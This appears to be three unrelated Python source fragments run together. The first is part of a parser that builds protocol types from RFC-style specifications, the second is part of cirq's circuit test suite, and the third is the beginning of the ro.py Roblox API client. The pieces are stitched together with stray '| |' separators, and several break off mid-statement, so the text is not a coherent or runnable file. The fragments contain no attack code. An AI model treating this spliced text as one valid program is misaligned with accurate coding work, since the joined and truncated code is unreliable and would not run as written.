vertical_fragments = parser(line).one_line()
split_fields.append(vertical_fragments)
num_lines = len(split_fields)
num_fields = len(split_fields[0]) if num_lines > 0 else 0
fl = [( split_fields[0][j][0],
"".join([split_fields[i][j][1] for i in range(num_lines)]))
for j in range(num_fields)]
fields += fl
return fields
def process_section(self, section : rfc.Section, parser, structs):
for i in range(len(section.content)):
t = section.content[i]
if isinstance(t, rfc.T):
for j in range(len(t.content)):
inner_t = cast(rfc.Text, t.content[j])
try:
pdu_name = parser(inner_t.content.strip()).preamble()
if isinstance(section.content[i+1], rfc.Figure):
fig = cast(rfc.Figure, section.content[i+1])
artwork = fig.content[0].content
else:
artwork = cast(rfc.Artwork, section.content[i+1]).content
artwork_fields = self.process_diagram( cast(rfc.Text, artwork).content, parser)
where = section.content[i+2]
fields = {}
name_map = {}
t_elem : Optional[rfc.T] = None
if len(section.content) >= i+2 and type(section.content[i+2]) == rfc.T:
t_elem = cast(rfc.T, section.content[i+2])
if t_elem is not None and len(t_elem.content) >= 2 and type(t_elem.content[1]) == rfc.List:
rfc_list = t_elem.content[1]
desc_list = rfc_list.content[0].content
for element in desc_list:
if type(element) is rfc.T:
t_elem = element
if t_elem.hangText is not None:
field = parser(t_elem.hangText.strip()).field_title()
field["context_field"] = None
if field["short_label"] is not None:
name_map[field["short_label"]] = field["full_label"]
fields[field["full_label"]] = field
elif len(section.content) >= i+3 and isinstance(section.content[i+3], rfc.DL):
desc_list = section.content[i+3] # type: ignore
assert isinstance(desc_list, rfc.DL)
for k in range(len(desc_list.content)):
title, desc = desc_list.content[k]
field = parser(cast(rfc.Text, title.content[0]).content.strip()).field_title()
try:
context_field = parser(cast(rfc.Text, desc.content[-1]).content.strip()).context_use()
except:
context_field = None
field["context_field"] = context_field
if field["short_label"] is not None:
name_map[field["short_label"]] = field["full_label"]
fields[field["full_label"]] = field
self.structs[valid_type_name_convertor(pdu_name)] = {}
self.structs[valid_type_name_convertor(pdu_name)]["name_map"] = name_map
self.structs[valid_type_name_convertor(pdu_name)]["fields"] = fields
except Exception as e:
pass
try:
function_name = parser(inner_t.content.strip()).function()
function_artwork = cast(rfc.Artwork, section.content[i+1])
function_text = cast(rfc.Text, function_artwork.content)
function_def = parser(function_text.content.strip()).function_signature()
self.functions[valid_field_name_convertor(function_name)] = function_def
except Exception as e:
pass
try:
enum_name, variants = parser(inner_t.content.strip()).enum()
self.enums[valid_type_name_convertor(enum_name)] = [valid_type_name_convertor(variant) for variant in variants]
except Exception as e:
pass
try:
from_type, to_type, func_name = parser(inner_t.content.strip()).serialised_to_func()
self.serialise_to[valid_type_name_convertor(from_type)] = (valid_type_name_convertor(to_type), valid_field_name_convertor(func_name))
except Exception as e:
pass
try:
from_type, to_type, func_name = parser(inner_t.content.strip()).parsed_from_func()
self.parse_from[valid_type_name_convertor(from_type)] = (valid_type_name_convertor(to_type), valid_field_name_convertor(func_name))
except Exception as e:
pass
try:
protocol_name, pdus = parser(inner_t.content.strip()).protocol_definition()
self.protocol_name = protocol_name
self.pdus = [valid_type_name_convertor(pdu) for pdu in pdus]
except Exception as e:
continue
if section.sections is not None:
for subsection in section.sections:
self.process_section(subsection, parser, structs)
def build_expr(self, expr, pdu_name):
if type(expr) != tuple:
if expr == "this":
return npt.protocol.SelfExpression()
if type(expr) is not str:
return expr
return self.structs[pdu_name]["name_map"].get(valid_field_name_convertor(expr), valid_field_name_convertor(expr))
elif expr[0] == "contextaccess":
return npt.protocol.ContextAccessExpression(self.proto.get_context(), valid_field_name_convertor(expr[1]))
elif expr[0] == "setvalue":
return npt.protocol.MethodInvocationExpression(self.build_expr(expr[1], pdu_name), "set", [npt.protocol.ArgumentExpression("value", self.build_expr(expr[2], pdu_name))])
elif expr[0] == "const":
return npt.protocol.ConstantExpression(self.build_type(expr[1]), self.build_expr(expr[2], pdu_name))
elif expr[0] == "method":
return npt.protocol.MethodInvocationExpression(self.build_expr(expr[1], pdu_name), expr[2], [npt.protocol.ArgumentExpression("other", self.build_expr(expr[3], pdu_name))])
elif expr[0] == "methodinvocation":
return npt.protocol.MethodInvocationExpression(self.build_expr(expr[1], pdu_name), expr[2], expr[3])
elif expr[0] == "fieldaccess":
target = self.build_expr(expr[1], pdu_name)
if type(target) == npt.protocol.FieldAccessExpression:
pdu_name = valid_type_name_convertor(self.structs[pdu_name]["fields"][valid_field_name_convertor(target.field_name)]["units"])
return npt.protocol.FieldAccessExpression(target, self.build_expr(expr[2], pdu_name))
def build_struct(self, struct_name):
fields = []
constraints = []
actions = []
for field in self.structs[struct_name]["fields"]:
field = self.structs[struct_name]["fields"][field]
size_expr = None
ispresent_expr = None
field_type : Optional[npt.protocol.RepresentableType] = None
if field["units"] not in ["bits", "bit", "bytes", "byte", None]:
if field["is_array"]:
name = struct_name + "_" + field["full_label"]
bitsize_expr = self.build_expr(field["value_constraint"], struct_name)
array_size = None
if isinstance(bitsize_expr, npt.protocol.MethodInvocationExpression) and \
isinstance(bitsize_expr.target, npt.protocol.MethodInvocationExpression) and \
isinstance(bitsize_expr.target.target, npt.protocol.FieldAccessExpression) and \
isinstance(bitsize_expr.target.target.target, npt.protocol.SelfExpression) and \
bitsize_expr.target.target.field_name == field["full_label"] and \
bitsize_expr.target.method_name == "size" and \
bitsize_expr.method_name == "eq":
array_size = bitsize_expr.arg_exprs[0].arg_value
field["value_constraint"] = None
field_type = npt.protocol.Array(name, self.build_type(valid_type_name_convertor(field["units"])), None, size=array_size)
self.proto.add_type(field_type)
else:
field_type = self.build_type(valid_type_name_convertor(field["units"]))
if field["size"] is not None:
#if field["size"][0] == "methodinvocation" or field["size"][0] == "method":
# size_expr = self.build_expr(("method", field["size"], "eq", ("methodinvocation", ("fieldaccess", "this", field["full_label"]), "size", [])), struct_name)
#else:
size_expr = self.build_expr(field["size"], struct_name)
if field["value_constraint"] is not None:
value_expr = self.build_expr(field["value_constraint"], struct_name)
constraints.append(value_expr)
if field["units"] in ["bits", "bit", "bytes", "byte", None]:
name = struct_name + "_" + field["full_label"]
if size_expr is not None and type(size_expr) is npt.protocol.ConstantExpression and field["units"] in ["byte", "bytes"]:
size_expr = self.build_expr(("const", "Number", size_expr.constant_value*8), struct_name)
elif size_expr is not None and field["units"] in ["byte", "bytes"]:
size_expr = self.build_expr(("method", size_expr, "multiply", | |
cirq.CZ(a, b),
cirq.H(a))
# Always return true to test basic features
go_to_end = lambda op : False
stop_if_op = lambda op : True
stop_if_h = lambda op : op.gate == cirq.H
# Empty cases.
assert cirq.Circuit().findall_operations_until_blocked(
start_frontier={}, is_blocker=go_to_end) == []
assert circuit.findall_operations_until_blocked(
start_frontier={}, is_blocker=go_to_end) == []
# Clamped input cases. (out of bounds)
assert cirq.Circuit().findall_operations_until_blocked(
start_frontier={a: 5}, is_blocker=stop_if_op) == []
assert cirq.Circuit().findall_operations_until_blocked(
start_frontier={a: -100}) == []
assert circuit.findall_operations_until_blocked(
start_frontier={a: 100}) == []
# Test if all operations are blocked
for idx in range(0, 15):
assert circuit.findall_operations_until_blocked(
start_frontier={a: idx}, is_blocker=stop_if_op) == []
assert circuit.findall_operations_until_blocked(
start_frontier={b: idx}, is_blocker=stop_if_op) == []
assert circuit.findall_operations_until_blocked(
start_frontier={c: idx}, is_blocker=stop_if_op) == []
assert circuit.findall_operations_until_blocked(
start_frontier={d: idx}, is_blocker=stop_if_op) == []
assert circuit.findall_operations_until_blocked(
start_frontier={a:idx, b:idx, c:idx, d: idx},
is_blocker=stop_if_op) == []
# Cases where nothing is blocked, it goes to the end
a_ending_ops = [(11, cirq.CZ.on(a,b)), (12, cirq.H.on(a))]
for idx in range(2, 10):
assert circuit.findall_operations_until_blocked(
start_frontier={a: idx}, is_blocker=go_to_end) == a_ending_ops
# Block on H, but pick up the CZ
for idx in range(2, 10):
assert circuit.findall_operations_until_blocked(
start_frontier={a: idx},
is_blocker=stop_if_h) == [(11, cirq.CZ.on(a,b))]
def test_has_measurements():
a = cirq.NamedQubit('a')
b = cirq.NamedQubit('b')
xa = cirq.X.on(a)
xb = cirq.X.on(b)
ma = cirq.measure(a)
mb = cirq.measure(b)
c = cirq.Circuit()
assert not c.has_measurements()
c = cirq.Circuit.from_ops(xa, xb)
assert not c.has_measurements()
c = cirq.Circuit.from_ops(ma)
assert c.has_measurements()
c = cirq.Circuit.from_ops(ma, mb)
assert c.has_measurements()
c = cirq.Circuit.from_ops(xa, ma)
assert c.has_measurements()
c = cirq.Circuit.from_ops(xa, ma, xb, mb)
assert c.has_measurements()
c = cirq.Circuit.from_ops(ma, xa)
assert c.has_measurements()
c = cirq.Circuit.from_ops(ma, xa, mb)
assert c.has_measurements()
c = cirq.Circuit.from_ops(xa, ma, xb, xa)
assert c.has_measurements()
c = cirq.Circuit.from_ops(ma, ma)
assert c.has_measurements()
c = cirq.Circuit.from_ops(xa, ma, xa)
assert c.has_measurements()
def test_are_all_measurements_terminal():
a = cirq.NamedQubit('a')
b = cirq.NamedQubit('b')
xa = cirq.X.on(a)
xb = cirq.X.on(b)
ma = cirq.measure(a)
mb = cirq.measure(b)
c = cirq.Circuit()
assert c.are_all_measurements_terminal()
c = cirq.Circuit.from_ops(xa, xb)
assert c.are_all_measurements_terminal()
c = cirq.Circuit.from_ops(ma)
assert c.are_all_measurements_terminal()
c = cirq.Circuit.from_ops(ma, mb)
assert c.are_all_measurements_terminal()
c = cirq.Circuit.from_ops(xa, ma)
assert c.are_all_measurements_terminal()
c = cirq.Circuit.from_ops(xa, ma, xb, mb)
assert c.are_all_measurements_terminal()
c = cirq.Circuit.from_ops(ma, xa)
assert not c.are_all_measurements_terminal()
c = cirq.Circuit.from_ops(ma, xa, mb)
assert not c.are_all_measurements_terminal()
c = cirq.Circuit.from_ops(xa, ma, xb, xa)
assert not c.are_all_measurements_terminal()
c = cirq.Circuit.from_ops(ma, ma)
assert not c.are_all_measurements_terminal()
c = cirq.Circuit.from_ops(xa, ma, xa)
assert not c.are_all_measurements_terminal()
def test_all_terminal():
def is_x_pow_gate(op):
return cirq.op_gate_of_type(op, cirq.XPowGate) is not None
a = cirq.NamedQubit('a')
b = cirq.NamedQubit('b')
xa = cirq.X.on(a)
xb = cirq.X.on(b)
ya = cirq.Y.on(a)
yb = cirq.Y.on(b)
c = cirq.Circuit()
assert c.are_all_matches_terminal(is_x_pow_gate)
c = cirq.Circuit.from_ops(xa)
assert c.are_all_matches_terminal(is_x_pow_gate)
c = cirq.Circuit.from_ops(xb)
assert c.are_all_matches_terminal(is_x_pow_gate)
c = cirq.Circuit.from_ops(ya)
assert c.are_all_matches_terminal(is_x_pow_gate)
c = cirq.Circuit.from_ops(ya, yb)
assert c.are_all_matches_terminal(is_x_pow_gate)
c = cirq.Circuit.from_ops(ya, yb, xa)
assert c.are_all_matches_terminal(is_x_pow_gate)
c = cirq.Circuit.from_ops(ya, yb, xa, xb)
assert c.are_all_matches_terminal(is_x_pow_gate)
c = cirq.Circuit.from_ops(xa, xa)
assert not c.are_all_matches_terminal(is_x_pow_gate)
c = cirq.Circuit.from_ops(xa, ya)
assert not c.are_all_matches_terminal(is_x_pow_gate)
c = cirq.Circuit.from_ops(xb, ya, yb)
assert not c.are_all_matches_terminal(is_x_pow_gate)
c = cirq.Circuit.from_ops(xa, ya, xa)
assert not c.are_all_matches_terminal(is_x_pow_gate)
def test_clear_operations_touching():
a = cirq.NamedQubit('a')
b = cirq.NamedQubit('b')
c = cirq.Circuit()
c.clear_operations_touching([a, b], range(10))
assert c == cirq.Circuit()
c = cirq.Circuit([
cirq.Moment(),
cirq.Moment([cirq.X(a), cirq.X(b)]),
cirq.Moment([cirq.X(a)]),
cirq.Moment([cirq.X(a)]),
cirq.Moment([cirq.CZ(a, b)]),
cirq.Moment(),
cirq.Moment([cirq.X(b)]),
cirq.Moment(),
])
c.clear_operations_touching([a], [1, 3, 4, 6, 7])
assert c == cirq.Circuit([
cirq.Moment(),
cirq.Moment([cirq.X(b)]),
cirq.Moment([cirq.X(a)]),
cirq.Moment(),
cirq.Moment(),
cirq.Moment(),
cirq.Moment([cirq.X(b)]),
cirq.Moment(),
])
c = cirq.Circuit([
cirq.Moment(),
cirq.Moment([cirq.X(a), cirq.X(b)]),
cirq.Moment([cirq.X(a)]),
cirq.Moment([cirq.X(a)]),
cirq.Moment([cirq.CZ(a, b)]),
cirq.Moment(),
cirq.Moment([cirq.X(b)]),
cirq.Moment(),
])
c.clear_operations_touching([a, b], [1, 3, 4, 6, 7])
assert c == cirq.Circuit([
cirq.Moment(),
cirq.Moment(),
cirq.Moment([cirq.X(a)]),
cirq.Moment(),
cirq.Moment(),
cirq.Moment(),
cirq.Moment(),
cirq.Moment(),
])
def test_all_qubits():
a = cirq.NamedQubit('a')
b = cirq.NamedQubit('b')
c = cirq.Circuit([
cirq.Moment([cirq.X(a)]),
cirq.Moment([cirq.X(b)]),
])
assert c.all_qubits() == {a, b}
c = cirq.Circuit([
cirq.Moment([cirq.X(a)]),
cirq.Moment([cirq.X(a)]),
])
assert c.all_qubits() == {a}
c = cirq.Circuit([
cirq.Moment([cirq.CZ(a, b)]),
])
assert c.all_qubits() == {a, b}
c = cirq.Circuit([cirq.Moment([cirq.CZ(a, b)]), cirq.Moment([cirq.X(a)])])
assert c.all_qubits() == {a, b}
def test_all_operations():
a = cirq.NamedQubit('a')
b = cirq.NamedQubit('b')
c = cirq.Circuit([
cirq.Moment([cirq.X(a)]),
cirq.Moment([cirq.X(b)]),
])
assert list(c.all_operations()) == [cirq.X(a), cirq.X(b)]
c = cirq.Circuit([
cirq.Moment([cirq.X(a), cirq.X(b)]),
])
assert list(c.all_operations()) == [cirq.X(a), cirq.X(b)]
c = cirq.Circuit([
cirq.Moment([cirq.X(a)]),
cirq.Moment([cirq.X(a)]),
])
assert list(c.all_operations()) == [cirq.X(a), cirq.X(a)]
c = cirq.Circuit([
cirq.Moment([cirq.CZ(a, b)]),
])
assert list(c.all_operations()) == [cirq.CZ(a, b)]
c = cirq.Circuit([cirq.Moment([cirq.CZ(a, b)]), cirq.Moment([cirq.X(a)])])
assert list(c.all_operations()) == [cirq.CZ(a, b), cirq.X(a)]
c = cirq.Circuit([
cirq.Moment([]),
cirq.Moment([cirq.X(a), cirq.Y(b)]),
cirq.Moment([]),
cirq.Moment([cirq.CNOT(a, b)]),
cirq.Moment([cirq.Z(b), cirq.H(a)]), # Different qubit order
cirq.Moment([])
])
assert list(c.all_operations()) == [
cirq.X(a),
cirq.Y(b),
cirq.CNOT(a, b),
cirq.Z(b),
cirq.H(a)
]
def test_from_ops():
a = cirq.NamedQubit('a')
b = cirq.NamedQubit('b')
actual = cirq.Circuit.from_ops(
cirq.X(a),
[cirq.Y(a), cirq.Z(b)],
cirq.CZ(a, b),
cirq.X(a),
[cirq.Z(b), cirq.Y(a)],
)
assert actual == cirq.Circuit([
cirq.Moment([cirq.X(a), cirq.Z(b)]),
cirq.Moment([cirq.Y(a)]),
cirq.Moment([cirq.CZ(a, b)]),
cirq.Moment([cirq.X(a), cirq.Z(b)]),
cirq.Moment([cirq.Y(a)]),
])
def test_to_text_diagram_teleportation_to_diagram():
ali = cirq.NamedQubit('(0, 0)')
bob = cirq.NamedQubit('(0, 1)')
msg = cirq.NamedQubit('(1, 0)')
tmp = cirq.NamedQubit('(1, 1)')
c = cirq.Circuit([
cirq.Moment([cirq.H(ali)]),
cirq.Moment([cirq.CNOT(ali, bob)]),
cirq.Moment([cirq.X(msg)**0.5]),
cirq.Moment([cirq.CNOT(msg, ali)]),
cirq.Moment([cirq.H(msg)]),
cirq.Moment([cirq.measure(msg), cirq.measure(ali)]),
cirq.Moment([cirq.CNOT(ali, bob)]),
cirq.Moment([cirq.CNOT(msg, tmp)]),
cirq.Moment([cirq.CZ(bob, tmp)]),
])
cirq.testing.assert_has_diagram(c, """
(0, 0): ───H───@───────────X───────M───@───────────
│ │ │
(0, 1): ───────X───────────┼───────────X───────@───
│ │
(1, 0): ───────────X^0.5───@───H───M───────@───┼───
│ │
(1, 1): ───────────────────────────────────X───@───
""")
cirq.testing.assert_has_diagram(c, """
(0, 0): ---H---@-----------X-------M---@-----------
| | |
(0, 1): -------X-----------|-----------X-------@---
| |
(1, 0): -----------X^0.5---@---H---M-------@---|---
| |
(1, 1): -----------------------------------X---@---
""", use_unicode_characters=False)
cirq.testing.assert_has_diagram(c, """
(0, 0) (0, 1) (1, 0) (1, 1)
| | | |
H | | |
| | | |
@------X | |
| | | |
| | X^0.5 |
| | | |
X-------------@ |
| | | |
| | H |
| | | |
M | M |
| | | |
@------X | |
| | | |
| | @------X
| | | |
| @-------------@
| | | |
""", use_unicode_characters=False, transpose=True)
def test_diagram_with_unknown_exponent():
class WeirdGate(cirq.SingleQubitGate):
def _circuit_diagram_info_(self,
args: cirq.CircuitDiagramInfoArgs
) -> cirq.CircuitDiagramInfo:
return cirq.CircuitDiagramInfo(wire_symbols=('B',),
exponent='fancy')
class WeirderGate(cirq.SingleQubitGate):
def _circuit_diagram_info_(self,
args: cirq.CircuitDiagramInfoArgs
) -> cirq.CircuitDiagramInfo:
return cirq.CircuitDiagramInfo(wire_symbols=('W',),
exponent='fancy-that')
c = cirq.Circuit.from_ops(
WeirdGate().on(cirq.NamedQubit('q')),
WeirderGate().on(cirq.NamedQubit('q')),
)
# The hyphen in the exponent should cause parens to appear.
cirq.testing.assert_has_diagram(c, 'q: ───B^fancy───W^(fancy-that)───')
def test_circuit_diagram_on_gate_without_info():
q = cirq.NamedQubit('(0, 0)')
q2 = cirq.NamedQubit('(0, 1)')
q3 = cirq.NamedQubit('(0, 2)')
class FGate(cirq.Gate):
def __init__(self, num_qubits=1):
self._num_qubits = num_qubits
def num_qubits(self) -> int:
return self._num_qubits
def __repr__(self):
return 'python-object-FGate:arbitrary-digits'
# Fallback to repr.
f = FGate()
cirq.testing.assert_has_diagram(cirq.Circuit([
cirq.Moment([f.on(q)]),
]),
"""
(0, 0): ---python-object-FGate:arbitrary-digits---
""",
use_unicode_characters=False)
f3 = FGate(3)
# When used on multiple qubits, show the qubit order as a digit suffix.
cirq.testing.assert_has_diagram(cirq.Circuit([
cirq.Moment([f3.on(q, q3, q2)]),
]),
"""
(0, 0): ---python-object-FGate:arbitrary-digits---
|
(0, 1): ---#3-------------------------------------
|
(0, 2): ---#2-------------------------------------
""",
use_unicode_characters=False)
def test_to_text_diagram_multi_qubit_gate():
q1 = cirq.NamedQubit('(0, 0)')
q2 = cirq.NamedQubit('(0, 1)')
q3 = cirq.NamedQubit('(0, 2)')
c = cirq.Circuit.from_ops(cirq.measure(q1, q2, q3, key='msg'))
cirq.testing.assert_has_diagram(c, """
(0, 0): ───M('msg')───
│
(0, 1): ───M──────────
│
(0, 2): ───M──────────
""")
cirq.testing.assert_has_diagram(c, """
(0, 0): ---M('msg')---
|
(0, 1): ---M----------
|
(0, 2): ---M----------
""", use_unicode_characters=False)
cirq.testing.assert_has_diagram(c, """
(0, 0) (0, 1) (0, 2)
│ │ │
M('msg')─M──────M
│ │ │
""", transpose=True)
def test_to_text_diagram_many_qubits_gate_but_multiple_wire_symbols():
class BadGate(cirq.ThreeQubitGate):
def _circuit_diagram_info_(self, args: cirq.CircuitDiagramInfoArgs
) -> Tuple[str, str]:
return 'a', 'a'
q1 = cirq.NamedQubit('(0, 0)')
q2 = cirq.NamedQubit('(0, 1)')
q3 = cirq.NamedQubit('(0, 2)')
c = cirq.Circuit([cirq.Moment([BadGate().on(q1, q2, q3)])])
with pytest.raises(ValueError, match='BadGate'):
c.to_text_diagram()
def test_to_text_diagram_parameterized_value():
q = cirq.NamedQubit('cube')
class PGate(cirq.SingleQubitGate):
def __init__(self, val):
self.val = val
def _circuit_diagram_info_(self, args: cirq.CircuitDiagramInfoArgs
) -> cirq.CircuitDiagramInfo:
return cirq.CircuitDiagramInfo(('P',), self.val)
c = cirq.Circuit.from_ops(
PGate(1).on(q),
PGate(2).on(q),
PGate(sympy.Symbol('a')).on(q),
PGate(sympy.Symbol('%$&#*(')).on(q),
)
assert str(c).strip() == 'cube: ───P───P^2───P^a───P^(%$&#*()───'
def test_to_text_diagram_custom_order():
qa = cirq.NamedQubit('2')
qb = cirq.NamedQubit('3')
qc = cirq.NamedQubit('4')
c = cirq.Circuit([cirq.Moment([cirq.X(qa), cirq.X(qb), cirq.X(qc)])])
cirq.testing.assert_has_diagram(c, """
3: ---X---
4: ---X---
2: ---X---
""", qubit_order=cirq.QubitOrder.sorted_by(lambda e: int(str(e)) % 3),
use_unicode_characters=False)
def test_overly_precise_diagram():
# Test default precision of 3
qa = cirq.NamedQubit('a')
c = cirq.Circuit([cirq.Moment([cirq.X(qa)**0.12345678])])
cirq.testing.assert_has_diagram(c, """
a: ---X^0.123---
""", use_unicode_characters=False)
def test_none_precision_diagram():
# Test default precision of 3
qa = cirq.NamedQubit('a')
c = cirq.Circuit([cirq.Moment([cirq.X(qa)**0.4921875])])
cirq.testing.assert_has_diagram(c, """
a: ---X^0.4921875---
""", use_unicode_characters=False, precision=None)
def test_diagram_custom_precision():
qa = cirq.NamedQubit('a')
c = cirq.Circuit([cirq.Moment([cirq.X(qa)**0.12341234])])
cirq.testing.assert_has_diagram(c, """
a: ---X^0.12341---
""", use_unicode_characters=False, precision=5)
def test_diagram_wgate():
qa = cirq.NamedQubit('a')
test_wgate = cirq.PhasedXPowGate(
exponent=0.12341234, phase_exponent=0.43214321)
c = cirq.Circuit([cirq.Moment([test_wgate.on(qa)])])
cirq.testing.assert_has_diagram(c, """
a: ---PhasedX(0.43)^(1/8)---
""", use_unicode_characters=False, precision=2)
def test_diagram_wgate_none_precision():
qa = cirq.NamedQubit('a')
test_wgate = cirq.PhasedXPowGate(
exponent=0.12341234, phase_exponent=0.43214321)
c = cirq.Circuit([cirq.Moment([test_wgate.on(qa)])])
cirq.testing.assert_has_diagram(c, """
a: ---PhasedX(0.43214321)^0.12341234---
""", use_unicode_characters=False, precision=None)
def test_has_unitary():
class NonUnitary(cirq.SingleQubitGate):
pass
class EventualUnitary(cirq.SingleQubitGate):
def _decompose_(self, qubits):
return cirq.X.on_each(*qubits)
q = cirq.NamedQubit('q')
# Non-unitary operations cause a non-unitary circuit.
assert cirq.has_unitary(cirq.Circuit.from_ops(cirq.X(q)))
assert not cirq.has_unitary(cirq.Circuit.from_ops(NonUnitary().on(q)))
# Terminal measurements are ignored, though.
assert cirq.has_unitary(cirq.Circuit.from_ops(cirq.measure(q)))
assert not cirq.has_unitary(cirq.Circuit.from_ops(cirq.measure(q),
cirq.measure(q)))
# Still unitary if operations decompose into unitary operations.
assert cirq.has_unitary(cirq.Circuit.from_ops(EventualUnitary().on(q)))
def test_text_diagram_jupyter():
a = cirq.NamedQubit('a')
b = cirq.NamedQubit('b')
c = cirq.NamedQubit('c')
circuit = cirq.Circuit.from_ops(
(cirq.CNOT(a, b), cirq.CNOT(b, c), cirq.CNOT(c, a)) * 50)
text_expected = circuit.to_text_diagram()
# Test Jupyter console output from
class FakePrinter:
def __init__(self):
self.text_pretty = ''
| |
<filename>roblox/client.py
"""
Contains the Client, which is the core object at the center of all ro.py applications.
"""
from typing import Union, List, Optional
from .account import AccountProvider
from .assets import EconomyAsset
from .badges import Badge
from .bases.baseasset import BaseAsset
from .bases.basebadge import BaseBadge
from .bases.basegamepass import BaseGamePass
from .bases.basegroup import BaseGroup
from .bases.baseplace import BasePlace
from .bases.baseplugin import BasePlugin
from .bases.baseuniverse import BaseUniverse
from .bases.baseuser import BaseUser
from .chat import ChatProvider
from .delivery import DeliveryProvider
from .groups import Group
from .partials.partialuser import PartialUser, RequestedUsernamePartialUser, PreviousUsernamesPartialUser
from .places import Place
from .plugins import Plugin
from .presence import PresenceProvider
from .thumbnails import ThumbnailProvider
from .universes import Universe
from .users import User
from .utilities.exceptions import BadRequest, NotFound, AssetNotFound, BadgeNotFound, GroupNotFound, PlaceNotFound, \
PluginNotFound, UniverseNotFound, UserNotFound
from .utilities.iterators import PageIterator
from .utilities.requests import Requests
from .utilities.url import URLGenerator
class Client:
"""
Represents a Roblox client.
Attributes:
requests: The requests object, which is used to send requests to Roblox endpoints.
url_generator: The URL generator object, which is used to generate URLs to send requests to endpoints.
presence: The presence provider object.
thumbnails: The thumbnail provider object.
delivery: The delivery provider object.
chat: The chat provider object.
account: The account provider object.
"""
def __init__(self, token: str = None, base_url: str = "roblox.com"):
"""
Arguments:
token: A .ROBLOSECURITY token to authenticate the client with.
base_url: The base URL to use when sending requests.
"""
self._url_generator: URLGenerator = URLGenerator(base_url=base_url)
self._requests: Requests = Requests()
self.url_generator: URLGenerator = self._url_generator
self.requests: Requests = self._requests
self.presence: PresenceProvider = PresenceProvider(client=self)
self.thumbnails: ThumbnailProvider = ThumbnailProvider(client=self)
self.delivery: DeliveryProvider = DeliveryProvider(client=self)
self.chat: ChatProvider = ChatProvider(client=self)
self.account: AccountProvider = AccountProvider(client=self)
if token:
self.set_token(token)
def __repr__(self):
return f"<{self.__class__.__name__}>"
# Authentication
def set_token(self, token: Optional[str] = None) -> None:
"""
Authenticates the client with the passed .ROBLOSECURITY token.
This method does not send any requests and will not throw if the token is invalid.
Arguments:
token: A .ROBLOSECURITY token to authenticate the client with.
"""
self._requests.session.cookies[".ROBLOSECURITY"] = token
# Users
async def get_user(self, user_id: int) -> User:
"""
Gets a user with the specified user ID.
Arguments:
user_id: A Roblox user ID.
Returns:
A user object.
"""
try:
user_response = await self._requests.get(
url=self.url_generator.get_url("users", f"v1/users/{user_id}")
)
except NotFound as exception:
raise UserNotFound(
message="Invalid user.",
response=exception.response
) from None
user_data = user_response.json()
return User(client=self, data=user_data)
async def get_authenticated_user(
self, expand: bool = True
) -> Union[User, PartialUser]:
"""
Grabs the authenticated user.
Arguments:
expand: Whether to return a User (2 requests) rather than a PartialUser (1 request)
Returns:
The authenticated user.
"""
authenticated_user_response = await self._requests.get(
url=self._url_generator.get_url("users", f"v1/users/authenticated")
)
authenticated_user_data = authenticated_user_response.json()
if expand:
return await self.get_user(authenticated_user_data["id"])
else:
return PartialUser(client=self, data=authenticated_user_data)
async def get_users(
self,
user_ids: List[int],
exclude_banned_users: bool = False,
expand: bool = False,
) -> Union[List[PartialUser], List[User]]:
"""
Grabs a list of users corresponding to each user ID in the list.
Arguments:
user_ids: A list of Roblox user IDs.
exclude_banned_users: Whether to exclude banned users from the data.
expand: Whether to return a list of Users (2 requests) rather than PartialUsers (1 request)
Returns:
A List of Users or partial users.
"""
users_response = await self._requests.post(
url=self._url_generator.get_url("users", f"v1/users"),
json={"userIds": user_ids, "excludeBannedUsers": exclude_banned_users},
)
users_data = users_response.json()["data"]
if expand:
return [await self.get_user(user_data["id"]) for user_data in users_data]
else:
return [
PartialUser(client=self, data=user_data)
for user_data in users_data
]
async def get_users_by_usernames(
self,
usernames: List[str],
exclude_banned_users: bool = False,
expand: bool = False,
) -> Union[List[RequestedUsernamePartialUser], List[User]]:
"""
Grabs a list of users corresponding to each username in the list.
Arguments:
usernames: A list of Roblox usernames.
exclude_banned_users: Whether to exclude banned users from the data.
expand: Whether to return a list of Users (2 requests) rather than RequestedUsernamePartialUsers (1 request)
Returns:
A list of User or RequestedUsernamePartialUser, depending on the expand argument.
"""
users_response = await self._requests.post(
url=self._url_generator.get_url("users", f"v1/usernames/users"),
json={"usernames": usernames, "excludeBannedUsers": exclude_banned_users},
)
users_data = users_response.json()["data"]
if expand:
return [await self.get_user(user_data["id"]) for user_data in users_data]
else:
return [
RequestedUsernamePartialUser(client=self, data=user_data)
for user_data in users_data
]
async def get_user_by_username(
self, username: str, exclude_banned_users: bool = False, expand: bool = True
) -> Union[RequestedUsernamePartialUser, User]:
"""
Grabs a user corresponding to the passed username.
Arguments:
username: A Roblox username.
exclude_banned_users: Whether to exclude banned users from the data.
expand: Whether to return a User (2 requests) rather than a RequestedUsernamePartialUser (1 request)
Returns:
A User or RequestedUsernamePartialUser depending on the expand argument.
"""
users = await self.get_users_by_usernames(
usernames=[username],
exclude_banned_users=exclude_banned_users,
expand=expand,
)
try:
return users[0]
except IndexError:
raise UserNotFound("Invalid username.") from None
def get_base_user(self, user_id: int) -> BaseUser:
"""
Gets a base user.
!!! note
This method does not send any requests - it just generates an object.
For more information on bases, please see [Bases](/bases).
Arguments:
user_id: A Roblox user ID.
Returns:
A BaseUser.
"""
return BaseUser(client=self, user_id=user_id)
def user_search(self, keyword: str, page_size: int = 10,
max_items: int = None) -> PageIterator:
"""
Search for users with a keyword.
Arguments:
keyword: A keyword to search for.
page_size: How many members should be returned for each page.
max_items: The maximum items to return when looping through this object.
Returns:
A PageIterator containing RequestedUsernamePartialUser.
"""
return PageIterator(
client=self,
url=self._url_generator.get_url("users", f"v1/users/search"),
page_size=page_size,
max_items=max_items,
extra_parameters={"keyword": keyword},
handler=lambda client, data: PreviousUsernamesPartialUser(client=client, data=data),
)
# Groups
async def get_group(self, group_id: int) -> Group:
"""
Gets a group by its ID.
Arguments:
group_id: A Roblox group ID.
Returns:
A Group.
"""
try:
group_response = await self._requests.get(
url=self._url_generator.get_url("groups", f"v1/groups/{group_id}")
)
except BadRequest as exception:
raise GroupNotFound(
message="Invalid group.",
response=exception.response
) from None
group_data = group_response.json()
return Group(client=self, data=group_data)
def get_base_group(self, group_id: int) -> BaseGroup:
"""
Gets a base group.
!!! note
This method does not send any requests - it just generates an object.
For more information on bases, please see [Bases](/bases).
Arguments:
group_id: A Roblox group ID.
Returns:
A BaseGroup.
"""
return BaseGroup(client=self, group_id=group_id)
# Universes
async def get_universes(self, universe_ids: List[int]) -> List[Universe]:
"""
Grabs a list of universes corresponding to each ID in the list.
Arguments:
universe_ids: A list of Roblox universe IDs.
Returns:
A list of Universes.
"""
universes_response = await self._requests.get(
url=self._url_generator.get_url("games", "v1/games"),
